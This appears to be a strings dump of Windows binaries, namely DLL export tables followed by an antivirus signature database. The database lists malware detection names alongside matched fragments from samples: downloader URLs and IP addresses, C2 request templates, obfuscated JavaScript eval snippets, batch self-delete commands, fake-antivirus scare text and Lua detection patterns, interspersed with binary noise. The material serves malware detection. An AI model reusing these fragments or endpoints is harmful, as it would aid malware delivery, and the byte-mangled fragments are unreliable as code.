ExitProcessKERNEL32.dllOd.a RASDLG.DLL DwTerminalDlg GetRasDialOutProtocols RasAutodialDisableDlgA RasAutodialDisableDlgW RasAutodialQueryDlgA RasAutodialQueryDlgW RasDialDlgA RasDialDlgW RasEntryDlgA RasEntryDlgW RasMonitorDlgA RasMonitorDlgW RasPhonebookDlgA RasPhonebookDlgW RasSrvAddPropPages RasSrvAddWizPages RasSrvAllowConnectionsConfig RasSrvCleanupService RasSrvEnumConnections RasSrvHangupConnection RasSrvInitializeService RasSrvIsConnectionConnected RasSrvIsServiceRunning RasSrvQueryShowIcon RasUserEnableManualDial RasUserGetManualDial RasUserPrefsDlg RasWizCreateNewEntry RasWizGetNCCFlags RasWizGetSuggestedEntryName RasWizGetUserInputConnectionName RasWizIsEntryRenamable RasWizQueryMaxPageCount RasWizSetEntryName RouterEntryDlgA RouterEntryDlgW  !\"#RASDLG.DLLDwTerminalDlgGetRasDialOutProtocolsRasAutodialDisableDlgARasAutodialDisableDlgWRasAutodialQueryDlgARasAutodialQueryDlgWRasDialDlgARasDialDlgWRasEntryDlgARasEntryDlgWRasMonitorDlgARasMonitorDlgWRasPhonebookDlgARasPhonebookDlgWRasSrvAddPropPagesRasSrvAddWizPagesRasSrvAllowConnectionsConfigRasSrvCleanupServiceRasSrvEnumConnectionsRasSrvHangupConnectionRasSrvInitializeServiceRasSrvIsConnectionConnectedRasSrvIsServiceRunningRasSrvQueryShowIconRasUserEnableManualDialRasUserGetManualDialRasUserPrefsDlgRasWizCreateNewEntryRasWizGetNCCFlagsRasWizGetSuggestedEntryNameRasWizGetUserInputConnectionNameRasWizIsEntryRenamableRasWizQueryMaxPageCountRasWizSetEntryNameRouterEntryDlgARouterEntryDlgW FileDescriptionWindows raschap Library InternalNamerasdlg OriginalFilenamerasdlgj% 1$1-161?1H1Q1Z1c1l1u1~1   $   $*e .text1 @@Ge.a Bd.a@   E ~    !T! \"E\"y\"  \t!?!q! #$%&'()* +,-./0123456789:;< =>?@ABCDEF SECURITY.DLL AcquireCredentialsHandleW SECUR32.AcquireCredentialsHandleW AddCredentialsW SECUR32.AddCredentialsW CredMarshalTargetInfo SECUR32.CredMarshalTargetInfo CredUnmarshalTargetInfo SECUR32.CredUnmarshalTargetInfo GetSecurityUserInfo SECUR32.GetSecurityUserInfo InitializeSecurityContextW SECUR32.InitializeSecurityContextW QuerySecurityPackageInfoW SECUR32.QuerySecurityPackageInfoW SealMessage SECUR32.SealMessage SecCacheSspiPackages SECUR32.SecCacheSspiPackages SecDeleteUserModeContext SECUR32.SecDeleteUserModeContext SecGetLocaleSpecificEncryptionRules SECUR32.SecGetLocaleSpecificEncryptionRules SecInitUserModeContext SECUR32.SecInitUserModeContext SecpFreeMemory SECUR32.SecpFreeMemory SecpTranslateName SECUR32.SecpTranslateName SecpTranslateNameEx SECUR32.SecpTranslateNameEx UnsealMessage SECUR32.UnsealMessage AcceptSecurityContext SECUR32.AcceptSecurityContext AcquireCredentialsHandleA SECUR32.AcquireCredentialsHandleA AddCredentialsA SECUR32.AddCredentialsA AddSecurityPackageA SECUR32.AddSecurityPackageA AddSecurityPackageW SECUR32.AddSecurityPackageW ApplyControlToken SECUR32.ApplyControlToken CompleteAuthToken SECUR32.CompleteAuthToken DecryptMessage SECUR32.DecryptMessage DeleteSecurityContext SECUR32.DeleteSecurityContext DeleteSecurityPackageA SECUR32.DeleteSecurityPackageA DeleteSecurityPackageW SECUR32.DeleteSecurityPackageW EncryptMessage SECUR32.EncryptMessage EnumerateSecurityPackagesA SECUR32.EnumerateSecurityPackagesA EnumerateSecurityPackagesW SECUR32.EnumerateSecurityPackagesW ExportSecurityContext SECUR32.ExportSecurityContext FreeContextBuffer SECUR32.FreeContextBuffer FreeCredentialsHandle SECUR32.FreeCredentialsHandle GetComputerObjectNameA SECUR32.GetComputerObjectNameA GetComputerObjectNameW SECUR32.GetComputerObjectNameW GetUserNameExA SECUR32.GetUserNameExA GetUserNameExW SECUR32.GetUserNameExW ImpersonateSecurityContext SECUR32.ImpersonateSecurityContext ImportSecurityContextA SECUR32.ImportSecurityContextA ImportSecurityContextW SECUR32.ImportSecurityContextW InitSecurityInterfaceA SECUR32.InitSecurityInterfaceA InitSecurityInterfaceW SECUR32.InitSecurityInterfaceW InitializeSecurityContextA SECUR32.InitializeSecurityContextA LsaCallAuthenticationPackage SECUR32.LsaCallAuthenticationPackage LsaConnectUntrusted SECUR32.LsaConnectUntrusted LsaDeregisterLogonProcess SECUR32.LsaDeregisterLogonProcess LsaEnumerateLogonSessions SECUR32.LsaEnumerateLogonSessions LsaFreeReturnBuffer SECUR32.LsaFreeReturnBuffer LsaGetLogonSessionData SECUR32.LsaGetLogonSessionData LsaLogonUser SECUR32.LsaLogonUser LsaLookupAuthenticationPackage SECUR32.LsaLookupAuthenticationPackage LsaRegisterLogonProcess SECUR32.LsaRegisterLogonProcess LsaRegisterPolicyChangeNotification SECUR32.LsaRegisterPolicyChangeNotification LsaUnregisterPolicyChangeNotification SECUR32.LsaUnregisterPolicyChangeNotification MakeSignature SECUR32.MakeSignature QueryContextAttributesA SECUR32.QueryContextAttributesA QueryContextAttributesW SECUR32.QueryContextAttributesW QueryCredentialsAttributesA SECUR32.QueryCredentialsAttributesA QueryCredentialsAttributesW SECUR32.QueryCredentialsAttributesW QuerySecurityContextToken SECUR32.QuerySecurityContextToken QuerySecurityPackageInfoA SECUR32.QuerySecurityPackageInfoA RevertSecurityContext SECUR32.RevertSecurityContext SaslAcceptSecurityContext SECUR32.SaslAcceptSecurityContext SaslEnumerateProfilesA SECUR32.SaslEnumerateProfilesA SaslEnumerateProfilesW SECUR32.SaslEnumerateProfilesW SaslGetProfilePackageA SECUR32.SaslGetProfilePackageA SaslGetProfilePackageW SECUR32.SaslGetProfilePackageW SaslIdentifyPackageA SECUR32.SaslIdentifyPackageA SaslIdentifyPackageW SECUR32.SaslIdentifyPackageW SaslInitializeSecurityContextA SECUR32.SaslInitializeSecurityContextA SaslInitializeSecurityContextW SECUR32.SaslInitializeSecurityContextW SetContextAttributesA SECUR32.SetContextAttributesA SetContextAttributesW SECUR32.SetContextAttributesW TranslateNameA SECUR32.TranslateNameA TranslateNameW SECUR32.TranslateNameW VerifySignature SECUR32.VerifySignature KSECURITY.DLLAcquireCredentialsHandleWSECUR32.AcquireCredentialsHandleWAddCredentialsWSECUR32.AddCredentialsWCredMarshalTargetInfoSECUR32.CredMarshalTargetInfoCredUnmarshalTargetInfoSECUR32.CredUnmarshalTargetInfoGetSecurityUserInfoSECUR32.GetSecurityUserInfoInitializeSecurityContextWSECUR32.InitializeSecurityContextWQuerySecurityPackageInfoWSECUR32.QuerySecurityPackageInfoWSealMessageSECUR32.SealMessageSecCacheSspiPackagesSECUR32.SecCacheSspiPackagesSecDeleteUserModeContextSECUR32.SecDeleteUserModeContextSecGetLocaleSpecificEncryptionRulesSECUR32.SecGetLocaleSpecificEncryptionRulesSecInitUserModeContextSECUR32.SecInitUserModeContextSecpFreeMemorySECUR32.SecpFreeMemorySecpTranslateNameSECUR32.SecpTranslateNameSecpTranslateNameExSECUR32.SecpTranslateNameExUnsealMessageSECUR32.UnsealMessageAcceptSecurityContextSECUR32.AcceptSecurityContextAcquireCredentialsHandleASECUR32.AcquireCredentialsHandleAAddCredentialsASECUR32.AddCredentialsAAddSecurityPackageASECUR32.AddSecurityPackageAAddSecurityPackageWSECUR32.AddSecurityPackageWApplyControlTokenSECUR32.ApplyControlTokenCompleteAuthTokenSECUR32.CompleteAuthTokenDecryptMessageSECUR32.DecryptMessageDeleteSecurityContextSECUR32.DeleteSecurityContextDeleteSecurityPackageASECUR32.DeleteSecurityPackageADeleteSecurityPackageWSECUR32.DeleteSecurityPackageWEncryptMessageSECUR32.EncryptMessageEnumerateSecurityPackagesASECUR32.EnumerateSecurityPackagesAEnumerateSecurityPackagesWSECUR32.EnumerateSecurityPackagesWExportSecurityContextSECUR32.ExportSecurityContextFreeContextBufferSECUR32.FreeContextBufferFreeCredentialsHandleSECUR32.FreeCredentialsHandleGetComputerObjectNameASECUR32.GetComputerObjectNameAGetComputerObjectNameWSECUR32.GetComputerObjectNameWGetUserNameExASECUR32.GetUserNameExAGetUserNameExWSECUR32.GetUserNameExWImpersonateSecurityContextSECUR32.ImpersonateSecurityContextImportSecurityContextASECUR32.ImportSecurityContextAImportSecurityContextWSECUR32.ImportSecurityContextWInitSecurityInterfaceASECUR32.InitSecurityInterfaceAInitSecurityInterfaceWSECUR32.InitSecurityInterfaceWInitializeSecurityContextASECUR32.InitializeSecurityContextALsaCallAuthenticationPackageSECUR32.LsaCallAuthenticationPackageLsaConnectUntrustedSECUR32.LsaConnectUntrustedLsaDeregisterLogonProcessSECUR32.LsaDeregisterLogonProcessLsaEnumerateLogonSessionsSECUR32.LsaEnumerateLogonSessionsLsaFreeReturnBufferSECUR32.LsaFreeReturnBufferLsaGetLogonSessionDataSECUR32.LsaGetLogonSessionDataLsaLogonUserSECUR32.LsaLogonUserLsaLookupAuthenticationPackageSECUR32.LsaLookupAuthenticationPackageLsaRegisterLogonProcessSECUR32.LsaRegisterLogonProcessLsaRegisterPolicyChangeNotificationSECUR32.LsaRegisterPolicyChangeNotificationLsaUnregisterPolicyChangeNotificationSECUR32.LsaUnregisterPolicyChangeNotificationMakeSignatureSECUR32.MakeSignatureQueryContextAttributesASECUR32.QueryContextAttributesAQueryContextAttributesWSECUR32.QueryContextAttributesWQueryCredentialsAttributesASECUR32.QueryCredentialsAttributesAQueryCredentialsAttributesWSECUR32.QueryCredentialsAttributesWQuerySecurityContextTokenSECUR32.QuerySecurityContextTokenQuerySecurityPackageInfoASECUR32.QuerySecurityPackageInfoARevertSecurityContextSECUR32.RevertSecurityContextSaslAcceptSecurityContextSECUR32.SaslAcceptSecurityContextSaslEnumerateProfilesASECUR32.SaslEnumerateProfilesASaslEnumerateProfilesWSECUR32.SaslEnumerateProfilesWSaslGetProfilePackageASECUR32.SaslGetProfilePackageASaslGetProfilePackageWSECUR32.SaslGetProfilePackageWSaslIdentifyPackageASECUR32.SaslIdentifyPackageASaslIdentifyPackageWSECUR32.SaslIdentifyPackageWSaslInitializeSecurityContextASECUR32.SaslInitializeSecurityContextASaslInitializeSecurityContextWSECUR32.SaslInitializeSecurityContextWSetContextAttributesASECUR32.SetContextAttributesASetContextAttributesWSECUR32.SetContextAttributesWTranslateNameASECUR32.TranslateNameATranslateNameWSECUR32.TranslateNameWVerifySignatureSECUR32.VerifySignatureRSDSt security.pdb security.pdby   $ totaldr= !Sirefef.R !Slenfbot.AKU !Agent.YO !Agent.YM !Agent.YN !Slenfbot.AKW !Karagany.G @ $0\t]5 .0%fH /showthread.php?t= E-zHo !Small.AABP SoftwareBundler:Win32/LiveAgentUvi \"SoftwareBundler:Win32/LiveAgentUvi !Dofoil.gen!B A070] !Vundo.OT !Sirefef.A $0L0.0 !Sirefef.B TrojanDownloader:ASX/Wimad.DD __asf_license_url_rpf_generated__http://plugin-installer.com/ ?__asf_license_url_rpf_generated__http://plugin-installer.com/ !Slenfbot.AKX !Sefnit.AA !Vundo.OU Trojan:Win64/Alureon.D  uac64ok !Agent.DB Trojan:Win64/Alureon.E Trojan:Win64/Alureon.F !Vundo.OV sacuure.dll acClient sacuure.dllacClient !Dorkbot.V !Sirefef.S GET /p/task2.php?w=%u&i=%S&n=%u %wZ\\Software\\%08x !Dorkbot.W Rogue:JS/Simda varzc9rvxylxeoojll1c1rphn1v5vs=\"104112\";eval( /varzc9rvxylxeoojll1c1rphn1v5vs=\"104112\";eval( varzc9rv2088an96cd5k85wu9eztu2ncj6cs=\"51012\";eval( 4varzc9rv2088an96cd5k85wu9eztu2ncj6cs=\"51012\";eval( ;)\";varzc9rvyyzm76b83bvfa7rfd26hwd=\"93238\";tyiegj1o23d45u89hokzs( a-z0-9);varzc9rvyyzm76b83bvfa7rfd26hws=\"93233\";eval(ww34k6pe6cm15);varzc9rvyyzm76b83bvfa7rfd26hwd=\"93238\"; SettingsModifier:Win32/QHosts.B TrojanDownloader:ASX/Wimad.DE __asf_license_url_rpf_generated__http://plugin-installer.info/ @__asf_license_url_rpf_generated__http://plugin-installer.info/ TrojanDownloader:ASX/Wimad.DH __asf_license_url_rpf_generated__http://installer.mediapassplugin.com/ H__asf_license_url_rpf_generated__http://installer.mediapassplugin.com/ TrojanDownloader:ASX/Wimad.DI __asf_license_url_rpf_generated__http://playsong.mediasongplayer.com/ G__asf_license_url_rpf_generated__http://playsong.mediasongplayer.com/ TrojanDownloader:ASX/Wimad.DJ __asf_license_url_rpf_generated__http://play.videosongplayer.com/ C__asf_license_url_rpf_generated__http://play.videosongplayer.com/ TrojanDownloader:ASX/Wimad.DK __asf_license_url_rpf_generated__http://setup-mediaplayer.info/ A__asf_license_url_rpf_generated__http://setup-mediaplayer.info/ TrojanDownloader:ASX/Wimad.DL __asf_license_url_rpf_generated__http://video-song-player-install-now.com/ L__asf_license_url_rpf_generated__http://video-song-player-install-now.com/ !Karagany.H .php?f=%i&t= &sid=%s !Sirefef.T Misleading:Win32/WinMaximizer Misleading:Win32/WinMaximizerQ@ &g@M~J/ cAie[ r+Tc$ G Fo) tw\tnoO`` c-0|T  :xjhg \\winmaximizer` &\\winmaximizer` \\programs\\winmaximizer` \\winmaximizer\\languages] &\\winmaximizer\\languages] aAlureon.AA BKFSS [injects_end] [injects_end]xk $systemstartoptions %s\\ph.dll !Small.AIK SettingsModifier:Win32/QHosts.C !Killav.FT !Pushbot.VG !Agent.YQ !Sirefef.V |POST /ajax/chat/send.php? coolcore SkinuxWindow SkinuxWindow~ rfq*J 1U+G<6 vvm@; 7 F:ZR 7 F:ZR j,oR< G /@/ _n)w; SkinuxWindow] !Agent.YR !Dorkbot.X SoftwareBundler:Win32/SoftAdvisor !SoftwareBundler:Win32/SoftAdvisor softadvisor.org/player_offer.php Powered by InstallQuark \\Player.exe \\Install\\RP.exe \\Install\\RP.exe] !Vundo.OW Rogue:HTML/FakeAlert $.getjson(\"http://94.23.39.156/fakeav/files.php?jsoncallback=?\",function(data){$.each(data,function(e) h$.getjson(\"http://94.23.39.156/fakeav/files.php?jsoncallback=?\",function(data){$.each(data,function(e) !Dorkbot.Y !Alureon.gen!AE $ _B>0 !Sirefef.W Trojan:Win64/Alureon.gen!G 9MZu HcA< PEt\tH Trojan:Win64/Alureon.gen!H [injects_begin_64] MARKER_AFFID MARKER_SUBID MARKER_AFFIDMARKER_SUBID :MZu HcB< Trojan:Win64/Alureon.gen!I ;BKFSt !Vundo.OX !Sefnit.AB !Dorkbot.Z MonitoringTool:Win32/Keylogger @ [SHIFT] [CONTROL] LOG.txt logSystem.txt log.dic !Fareit.C 1n[G# 1n[G#b !Sefnit.AG !Sefnit.AF !Sefnit.AC !Sefnit.AD !Sefnit.AE H0&&; !Agent.YS !Killav.AAB !Agent.YT !Sirefef.X Killav.BC TrojanDownloader:ASX/Wimad.DM __asf_script_command_rpf_generated__urlandexithttp://mytube.hs.vc/ D__asf_script_command_rpf_generated__urlandexithttp://mytube.hs.vc/ !Agent.YU !Agent.YV Rogue:Win32/Naparb 1Why can`t I remove the viruses  detects? Trojan.Hooblong.A CYour computer is compromised by hackers, adware, malware and worms! 3has detected some serious threats to your computer! \"one of the best antiviruses today? \"one of the best antiviruses today?] !Waledac.O \\wQJs !Sefnit.AI Global\\VBoxService.exe \\output\\MinSizeRel\\updrem.pdb \\output\\MinSizeRel\\updrem.pdb] !Sefnit.AJ FlashPlayerControl_%s_%d !Dofoil.gen!C hrkhWo !Sefnit.AH !PornDialer.A !Agent.YW !Agent.ABHT !Small.AIL ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   Lua:TopLevelSingleFileCAB Lua:TopLevelDoubleFileCAB Lua:PossibleTechsnabCAB [CABDATA]  3189ccd9ba7a REG_ESI  368914014e83 REG_EDI  428952f70cb7  !#LuaZipWithSingleFile !#LuaZipWithSingleFileObMpAttributes   diagcab //LuaZipWithSingleJS .diagcab \t.diagcab //LuaZipWithSingleDiagCab //LuaZipLT4kbWithSingleFile !#SLF:Lua:PSDownloader !#SLF:Lua:PSDownloaderIncludesTechniqueTrackerObMpAttributes amazon-ssm-agent.exe|waworkerhost.exe|gcemetadatascripts.exe|ruby.exe|ssm-document-worker.exe|glyph.publisher.exe|ssm-agent-worker.exe|screenconnect.clientservice.exe|cfn-init.exe|winhup.exe|cloudtestagent.exe|microsoft.management.services.intunewindowsagent.exe|azcopy.exe|agentexecutor.exe|gitlab-runner.exe|scriptrunner.exe|cagservice.exe|ltsvc.exe|jumpcloud-agent-updater.exe| cyserver.exe|aemagent.exe|pangphip.exe 'cyserver.exe|aemagent.exe|pangphip.exe appveyor.yml|cscompmeta|resume_db.json|metadata_db.json 8appveyor.yml|cscompmeta|resume_db.json|metadata_db.json ingress_tool  !#ALF:Lua:ContextualGamDll6  ^%l%l%l%l%l%l%l%l%l%l+%.%l%l%l$  ^%l%l%l%l%l%l%l%l%l%l+%.%l%l%l$ ^~%$%l%l%l%l%l+%.%l%l%l$ ^%w+%.%w+%.%w+%.%w+%.%w+%.%w+%.%w+%.%w+$ )^%w+%.%w+%.%w+%.%w+%.%w+%.%w+%.%w+%.%w+$ ^%w%w%w%w%w+_? ?%w-%.%w%w%w%w%w+$ \"^%w%w%w%w%w+_? ?%w-%.%w%w%w%w%w+$  !#Worm:Win32/Dorkbot!ctx !#Worm:Win32/Dorkbot!ctxObMpAttributes Detection:Trojan:Win32/Bagsu!rfn !Detection:Trojan:Win32/Bagsu!rfn Detection:Trojan:Win32/Bulta!rfn !Detection:Trojan:Win32/Bulta!rfn Detection:VirTool:Win32/Obfuscator.AMM 'Detection:VirTool:Win32/Obfuscator.AMM Detection:Trojan:Win32/Toga!rfn  Detection:Trojan:Win32/Toga!rfn RDTSC_Anti HSTR:CheckSavedErrorCode Lua:SuspiciousSectionName attrmatch_codepatch_ PEBMPAT:AutoSig PEEMU:AutoSig HSTR:AutoSig  SIGATTR:VirTool:Win32/Obfuscator.AKE %SIGATTR:VirTool:Win32/Obfuscator.AKE HSTR:Win32/Obfuscator.NGR HSTR:Win32/Obfuscator.NGR2 LowFi:Win32/MalDecoder !#Lua:EncryptedZip   senha Lua:PossibleFourthremZIP Lua:IOAVZIPSingleEncryptedEXE 2e95715703d1  junkstarted thisisjunk edb3854dc4bf sqlite.dll !#/Lua:Worm:JS/Bondat.A!lnk SCRIPT:Worm:JS/Bondat.A!lnk  \\appdata\\roaming\\%w+\\(%w+%.exe)%z \"\\appdata\\roaming\\%w+\\(%w+%.exe)%z windows explorer%.lnk 1c8983bf8241 2695c27f9f93 2695e61a445f 2729e06cbac8 27897924cfbc 2a78601326dc 2f7811195fc6 PUA:Block:SmartInstaller 4178edb8aa83 PUA:Block:IStartSurf:Bit 476185b5a169 App:CoinMiner64:lolMiner 632918e6b32e 81419ea68f89 PUA:Block:InstallCapital 86784bb6fb74 PUA:Block:ProtectionLive 954068f1fbf7 PUA:Block:OfferInstaller af78dd25e039 PUA:Block:Carbmorner:Bit cb78eec25473 80678bd9649cb PUA:Block:InstMonetizer 119595a5a5e9 15408d99d3bd  17951a9f5278 1b9538229c23 2878ab2b7808  2878dba7a416  2b783c53e0fd  2c4122268940  2f2946837619 3041557b8630  308946779ea6 3178ef94d1ee  3278d31f1e4d  3540076d6263  3540095fefbd  35401c570899  35401f06550a  354024a9a236  35402aadba13  35404dc9c359  3540a87923ad  3540accd6ae5  3540b31acf61  3540d61695c1  3540dd1ad270  3540df0e4e4a  3540e5faed9d  3540edf6fe42  3540f0673983  3540f695128e  3578742f74ff  358970d924ca  3678b6b20892  37897322a6ae 3941accb5b82  3941e804789f  3978dce00655  3a41010dc0e2  3b787813f837  3b78da0d0112  3b9599fbad8f  3e417dcd175b  3e7873fbd0da  3f41990eddfe  3f781ec9dab3  4178bc60bbd6  4278ab1a6265  4289397db4e4 437878fa7961  4378a2d2b0cb  44894441821c 45400d7a19da  4540182f1382  454059ba53ad  4540b43136d4  4540db6cf928  4540de7de3ea  45784e7e3c0e  45891380c56a 4878bb21bf8a  49788660395b  4978be87b1d7  49891ce96f05 4989daa662bd 4a788fbdca7a  4a95f71b5110 PEBMPAT:Disable_API_Limit 4b7812319e00  4b89b6be888d 4e780e8ef21f  5061d85e27bf  5078e4289364  52784cb527c6  5378b0550be9  5478efb61507  !Ldpinch.UA !Killav.A !Busky!dll 1Busky !Busky.gen!dll !Zlob.AJI !Zlob.AJK !Zlob.AJL !Zlob.AJM !Zlob.AJN !Zlob.AJO !Zlob.AJP !Zlob.AJQ !Zlob.AJJ !Zlob.AJR !Zlob.AJS !Agent.WM !Harnig 5Agent.U !Agent.U !Agent.BBX Kaboom.3_0 Typhoon !Ldpinch.VA !Killav.KA !Inservice.Z !Tibs.gen!B  tibsloader %s/%s?v=%s&act=% &aid=%s&skid=%s %s:%04d%02d%02d% c=%s&cid=%d TIBS%s *cgi-bin/%s?prog=ldr&ver=%s&code=%d&info=%s *cgi-bin/%s?prog=ldr&ver=%s&code=%d&info=%s] !Robis.A !Vxidl vOXc3 !Harnig.gen!A %s?c=%d %s?c=%d%s%s  %s%s&id=%d&c=%d %s%s%s  %s%s&id=%d&c=%d%u%s%s%s%s?c 0explorer.exe IsProcessorFeatu 0explorer.exekernel32.dllIsProcessorFeatu] !Harnig.gen!B \t.php=adv > nul > nul/c del  newl1  COMSPECnewl1 http://%s/progs/%s/ .exe%dC:\\ .exe\\ wininet.dllOpen hpadv &code2= &code1= .php?adv= \t.php?adv= GetSystemDefaultLangID] !Small.CCT !Small.CCU !Alureon.A !Wintrim.gen!A WAOL.EXE EGDHTML Opening the port... Registering your computer on the network... +Registering your computer on the network... All Internet Explorer have been closed. 'All Internet Explorer have been closed. rundll32.exe EGDACCESS.dll XORFile2File :  XORFile2File : ] !Agent.EU !Small.UA !Small.UE !Small.ER !Adload.AM !Adload.AN !Adload.AO !Adload.AP !Small.ES !Small.FA !Agent.FB !Small.FC !Agent.V !Agent.AR 08m.P !Agent.AV X(1BP] !Agent.AX !Agent.BB !Agent.EV !Agent.FF !Agent.FG !Agent.FH !Agent.FI !Agent.FN !Agent.FO !Agent.FP !Agent.FQ !Agent.FR !Adload.AQ !Adload.AR  v@:>g !Small.FH !Small.BKS !Killav.ET !Zlob.ZVX !Lowzones.gen!A 0C>u# !Small.FJ !Ldpinch.UB !Harnig.BX !VBStat.D !Ldpinch.UC !Sobit.H !Alureon.F L\\;/G !Alureon.G !Harnig.EC !Harnig.ED !Renos.CA 5Vundo.F !Renos.gen!dll !Agent.WO &a=1 HTTP/1.1  GET /dl?w=  Host: 66 User-Agent:  66.117.37.7 /autodetect.exe GetTempPathA] !Agent.WP  shell_traywnd %s\\C:\\WINDOWS\\Sy  shell_traywnd%s\\C:\\WINDOWS\\Sy http://w GGPPopenFFhttp://w !Agent.WQ \t\\regcheck /spambot /spambot] !Alureon.gen!B PEGFSDGHXCBGTR# KEBDHORDCZGLTA# EEGSDHSFGJL GHXCBGTR ORDCZGLTA \tORDCZGLTA /cnt.jpg Content-Type: %s;%s;%x;%x;%x %s\\%c%c%c%c%c.%s sidcls )Software\\Microsoft\\Windows\\CurrentVersion http://85 \thttp://85 Microsoft Internet Explorer CreateEventA VirtualProtectEx RemoveDirectoryA  InternetCanonicalizeUrlA InternetConnectA] !Agent.WS del %1 if exist %1 goto l a.bat file.php?&ID=%s&EXE= Shell DocObject View Internet Explorer_Server] 1Inservice  dalexcars.com GET /intercooler  Host: www. 'User-Agent: Mozilla/4.0 (compatible; 1-  /users/mulez/ %s\\%s%d.exe intercooler \tinet_addr strtok strtok] !Agent.WR !Agent.WU http://max-stats.com http://sc-cash.com www.teen4-sex.com C:\\WINDOWS\\SYSTEM32\\pref c2.php?i= \tc2.php?i= winlogon32. winlogon32.] !Agent.WV http://yupsearch.com /silent_install.exe /sideb.exe  \\%ld%d.exe  InjectorLoaderMMF WM_HOOKSPY_RK  HookProc DownloadRemote !Agent.WW http://toolbarpartner.com /installed.php?wm= /programs.txt  http://sturfajtn.com /w.php /load.txt \t/load.txt %WINDIR%\\System32\\$$$ regsvr32 /s %SystemRoot%\\sys %i%i.dll %i%i.exe Explorer.exe   %WINDIR%\\System32\\ !Harnig.gen!C http://213. /dladv .php?code1= dluniq .txt\\ tool.exe tool.txt tibs.php tibs.exe InternetOpen !Agent.AYY !Agent.WX Title Windows Update @del %1 >nul @if exist %1 goto d @del %0a.bat C:\\myapp.exe GetModuleFileNameA !Small.gen!D !Small.gen!E !Agent.WY  DebugActiveProcess VirtualAlloc] !Small.gen!F !Promon !Zlob.ZWA !Agent.WZ !Harnig.H !Harnig.I !Harnig.gen!D paydial.txt \\paydial.exe paytime.txt \\paytime.exe \\countrydial.exe \\tibs.exe \\dimak \\uniq\\kl.exe\\ adv=adv &code1=HNNE&code2=5121 http://195.95.218.173/dl/dl.php? http://195.95.218.173/troys/ newdial1.txt   \\newdial1.exe   newdial.txt  dl/dluniq.php? \\secure32.html toolbar.txt \\toolbar.exe degbes.txt \\degbes.exe kl.txt \\kl.exe !Harnig.gen!F \\tsasxc.exe \\iybkege.exe \\xjkjtea.exe \\dmfxyqt.exe \\ocqhb.exe \\ewfqb.exe \\avirx.exe \\odmcsk.exe 5Agent.WZ ORIGAMI ?self= &type= &key= runned TND1http://85.255.119 SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\origami DSOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\origami BCBC@A !Agent.XA ##ws2_32.dll ##%d.exe Downloader: fetch OK, %d Downloader: can't open file: %d @@svchost.exe  ##http://64.27.0.205 216.255.189.85 w:\\work\\vcprj\\prj\\downloader\\Release\\injdldr.pdb 0w:\\work\\vcprj\\prj\\downloader\\Release\\injdldr.pdb http://64.27.0.205/up/calc2.bin %s\\t%d.exe  RSDSk BC5E6DA8-DD1B-12DD-139A-B5B2378C9A04 $BC5E6DA8-DD1B-12DD-139A-B5B2378C9A04 3645FBCD-ECD2-23D0-BAC4-00DE453DEF6B $3645FBCD-ECD2-23D0-BAC4-00DE453DEF6B NSAPI.dll \tNSAPI.dll B         h((((                  H PVVQV  PVVQV D$HDf TrojanDownloader:HTML/Renos content=\"0;url=http://95.64.47.164/ /content=\"0;url=http://95.64.47.164/ \\SystemRoot\\system32\\DRIVERS\\bowser.sys \\SystemRoot\\System32\\drivers\\mpsdrv.sys \\SystemRoot\\system32\\drivers\\mrxdav.sys \\SystemRoot\\system32\\DRIVERS\\mrxsmb.sys \\SystemRoot\\system32\\DRIVERS\\mrxsmb.sys @ \\SystemRoot\\system32\\DRIVERS\\mrxsmb10.sys \\SystemRoot\\system32\\DRIVERS\\mrxsmb20.sys \\SystemRoot\\system32\\DRIVERS\\mrxsmb20.sys0E \\SystemRoot\\system32\\DRIVERS\\asyncmac.sys \\SystemRoot\\system32\\DRIVERS\\asyncmac.sys@G \\SystemRoot\\System32\\Drivers\\PGPdisk.SYS \\SystemRoot\\system32\\DRIVERS\\PROCDD.SYS \\SystemRoot\\system32\\DRIVERS\\mdmxsdk.sys \\SystemRoot\\system32\\DRIVERS\\mdmxsdk.sysPL \\SystemRoot\\system32\\drivers\\peauth.sys \\SystemRoot\\system32\\drivers\\peauth.sys0Z \\SystemRoot\\System32\\Drivers\\PGPsdk.sys \\SystemRoot\\System32\\Drivers\\secdrv.SYS \\SystemRoot\\System32\\DRIVERS\\srvnet.sys \\SystemRoot\\System32\\DRIVERS\\srvnet.sys`] \\SystemRoot\\System32\\drivers\\tcpipreg.sys \\SystemRoot\\System32\\drivers\\tcpipreg.sys ^ \\SystemRoot\\system32\\DRIVERS\\xaudio.sys \\SystemRoot\\system32\\DRIVERS\\xaudio.sys` \\SystemRoot\\System32\\DRIVERS\\srv2.sys \\SystemRoot\\System32\\DRIVERS\\srv.sys \\SystemRoot\\system32\\DRIVERS\\cdfs.sys \\??\\C:\\Windows\\system32\\CCM\\prepdrv.sys \\??\\C:\\Windows\\system32\\CCM\\prepdrv.sys@ \\SystemRoot\\System32\\Drivers\\LenovoRd.sys \\SystemRoot\\System32\\Drivers\\tcusb.sys \\SystemRoot\\System32\\Drivers\\tcusb.sysMwp \\Windows\\System32\\ntdll.dll BUGCHECK! NTOSKRNL.EXE 0123456789ABCDEF \\Windows\\System32\\ntdll.dllBUGCHECK!HAL.DLLNTOSKRNL.EXEDRIVERNAMESTRING0123456789ABCDEF{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} hal.dll Systemntoskrnl.exehalMpDriver.sys\\??\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\MpDriver.syshal.dll\\WINDOWS\\system32\\hal.dllhal.dllntoskrnl.exe\\WINDOWS\\system32\\ntoskrnl.exe \\Registry\\Machine\\Hardware\\MpDriverMpDriver\\Registry\\Machine\\System\\CurrentControlSet\\Services\\MpDriverC:\\WINDOWS (null)(null) RSDS4 6X~[| ntoskrnl.pdb ntoskrnl.pdbBs YY_^[ t%It\"  u$QWQ  FFBB  BBFFf AABBf  GGBBf SVWt* 8SVWt* jA^f; ja^f; >_^[] } j-Xf 1AA9U !#HSTR:JAVA:Feature:C:68 !#HSTR:JAVA:Feature:C:70 !#HSTR:JAVA:Feature:C:74 !#HSTR:JAVA:Feature:C:77 !#HSTR:JAVA:Feature:C:79 !#HSTR:JAVA:Feature:C:80 !#HSTR:JAVA:Feature:C:82 !#HSTR:JAVA:Feature:C:84 !#HSTR:JAVA:Feature:C:85 !#HSTR:JAVA:Feature:C:90 !#HSTR:JAVA:Feature:C:92 